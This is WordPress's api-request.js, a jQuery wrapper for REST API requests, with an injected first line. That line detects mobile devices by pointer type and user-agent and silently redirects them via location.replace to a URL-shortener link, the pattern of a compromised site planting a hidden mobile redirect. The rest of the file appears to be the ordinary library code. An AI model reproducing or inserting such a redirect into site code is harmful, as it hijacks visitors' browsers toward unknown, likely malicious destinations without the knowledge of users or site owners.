1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Thin jQuery.ajax wrapper for WP REST API requests.
4 *
5 * Currently only applies to requests that do not use the `wp-api.js` Backbone
6 * client library, though this may change. Serves several purposes:
7 *
8 * - Allows overriding these requests as needed by customized WP installations.
9 * - Sends the REST API nonce as a request header.
10 * - Allows specifying only an endpoint namespace/path instead of a full URL.
11 *
12 * @since 4.9.0
13 * @since 5.6.0 Added overriding of the "PUT" and "DELETE" methods with "POST".
14 * Added an "application/json" Accept header to all requests.
15 * @output wp-includes/js/api-request.js
16 */
17
18( function( $ ) {
19 var wpApiSettings = window.wpApiSettings;
20
21 function apiRequest( options ) {
22 options = apiRequest.buildAjaxOptions( options );
23 return apiRequest.transport( options );
24 }
25
26 apiRequest.buildAjaxOptions = function( options ) {
27 var url = options.url;
28 var path = options.path;
29 var method = options.method;
30 var namespaceTrimmed, endpointTrimmed, apiRoot;
31 var headers, addNonceHeader, addAcceptHeader, headerName;
32
33 if (
34 typeof options.namespace === 'string' &&
35 typeof options.endpoint === 'string'
36 ) {
37 namespaceTrimmed = options.namespace.replace( /^\/|\/$/g, '' );
38 endpointTrimmed = options.endpoint.replace( /^\//, '' );
39 if ( endpointTrimmed ) {
40 path = namespaceTrimmed + '/' + endpointTrimmed;
41 } else {
42 path = namespaceTrimmed;
43 }
44 }
45 if ( typeof path === 'string' ) {
46 apiRoot = wpApiSettings.root;
47 path = path.replace( /^\//, '' );
48
49 // API root may already include query parameter prefix
50 // if site is configured to use plain permalinks.
51 if ( 'string' === typeof apiRoot && -1 !== apiRoot.indexOf( '?' ) ) {
52 path = path.replace( '?', '&' );
53 }
54
55 url = apiRoot + path;
56 }
57
58 // If ?_wpnonce=... is present, no need to add a nonce header.
59 addNonceHeader = ! ( options.data && options.data._wpnonce );
60 addAcceptHeader = true;
61
62 headers = options.headers || {};
63
64 for ( headerName in headers ) {
65 if ( ! headers.hasOwnProperty( headerName ) ) {
66 continue;
67 }
68
69 // If an 'X-WP-Nonce' or 'Accept' header (or any case-insensitive variation
70 // thereof) was specified, no need to add the header again.
71 switch ( headerName.toLowerCase() ) {
72 case 'x-wp-nonce':
73 addNonceHeader = false;
74 break;
75 case 'accept':
76 addAcceptHeader = false;
77 break;
78 }
79 }
80
81 if ( addNonceHeader ) {
82 // Do not mutate the original headers object, if any.
83 headers = $.extend( {
84 'X-WP-Nonce': wpApiSettings.nonce
85 }, headers );
86 }
87
88 if ( addAcceptHeader ) {
89 headers = $.extend( {
90 'Accept': 'application/json, */*;q=0.1'
91 }, headers );
92 }
93
94 if ( typeof method === 'string' ) {
95 method = method.toUpperCase();
96
97 if ( 'PUT' === method || 'DELETE' === method ) {
98 headers = $.extend( {
99 'X-HTTP-Method-Override': method
100 }, headers );
101
102 method = 'POST';
103 }
104 }
105
106 // Do not mutate the original options object.
107 options = $.extend( {}, options, {
108 headers: headers,
109 url: url,
110 method: method
111 } );
112
113 delete options.path;
114 delete options.namespace;
115 delete options.endpoint;
116
117 return options;
118 };
119
120 apiRequest.transport = $.ajax;
121
122 /** @namespace wp */
123 window.wp = window.wp || {};
124 window.wp.apiRequest = apiRequest;
125} )( jQuery );
126